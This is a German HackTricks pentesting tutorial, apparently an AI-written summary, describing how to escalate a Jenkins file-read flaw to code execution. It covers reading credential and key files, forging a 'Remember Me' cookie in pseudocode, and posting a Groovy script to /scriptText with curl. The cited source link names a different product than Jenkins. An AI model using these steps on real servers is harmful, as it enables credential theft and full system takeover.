Jenkins Arbitrary File Read to RCE via "Remember Me"
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
In diesem Blogbeitrag ist es möglich, einen großartigen Weg zu finden, um eine Local File Inclusion-Sicherheitsanfälligkeit in Jenkins in RCE zu verwandeln: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
Dies ist eine von KI erstellte Zusammenfassung des Teils des Beitrags, in dem das Erstellen eines beliebigen Cookies ausgenutzt wird, um RCE zu erhalten, indem eine lokale Datei gelesen wird, bis ich Zeit habe, eine eigene Zusammenfassung zu erstellen:
Angriffsvoraussetzungen
- Funktionsanforderung: "Remember me" muss aktiviert sein (Standardeinstellung).
- Zugriffslevel: Angreifer benötigt Gesamt-/Lese-Berechtigungen.
- Geheimer Zugriff: Fähigkeit, sowohl binäre als auch textuelle Inhalte aus wichtigen Dateien zu lesen.
Detaillierter Ausbeutungsprozess
Schritt 1: Datensammlung
Benutzerinformationsabruf
- Greifen Sie auf die Benutzerkonfiguration und Geheimnisse von
$JENKINS_HOME/users/*.xml
für jeden Benutzer zu, um Folgendes zu sammeln: - Benutzername
- Benutzersamen
- Zeitstempel
- Passworthash
Geheimschlüsselextraktion
- Extrahieren Sie kryptografische Schlüssel, die zum Signieren des Cookies verwendet werden:
- Geheimschlüssel:
$JENKINS_HOME/secret.key
- Master-Schlüssel:
$JENKINS_HOME/secrets/master.key
- MAC-Schlüsseldatei:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Schritt 2: Cookie-Fälschung
Token-Vorbereitung
- Berechnen Sie die Token-Ablaufzeit:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Fügt eine Stunde zur aktuellen Zeit hinzu
- Daten für das Token verketten:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
MAC-Schlüsselentschlüsselung
- Entschlüsseln Sie die MAC-Schlüsseldatei:
key = toAes128Key(masterKey) // Konvertieren Sie den Master-Schlüssel in das AES128-Schlüssel-Format
decrypted = AES.decrypt(macFile, key) // Entschlüsseln Sie die .mac-Datei
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Signaturberechnung
- Berechnen Sie HMAC SHA256:
mac = HmacSHA256(token, macKey) // Berechnen Sie HMAC mit dem Token und dem MAC-Schlüssel
tokenSignature = bytesToHexString(mac) // Konvertieren Sie das MAC in eine hexadezimale Zeichenfolge
Cookie-Codierung
- Generieren Sie das endgültige Cookie:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64-codieren Sie die Cookie-Daten
Schritt 3: Codeausführung
Sitzungsauthentifizierung
- Abrufen von CSRF- und Sitzungstoken:
- Stellen Sie eine Anfrage an
/crumbIssuer/api/json
, umJenkins-Crumb
zu erhalten. - Erfassen Sie
JSESSIONID
aus der Antwort, die zusammen mit dem Remember-Me-Cookie verwendet wird.
Befehlsausführungsanfrage
- Senden Sie eine POST-Anfrage mit Groovy-Skript:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Das Groovy-Skript kann verwendet werden, um systemweite Befehle oder andere Operationen innerhalb der Jenkins-Umgebung auszuführen.
Der bereitgestellte Beispiel-curl-Befehl zeigt, wie man eine Anfrage an Jenkins mit den erforderlichen Headern und Cookies sendet, um beliebigen Code sicher auszuführen.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.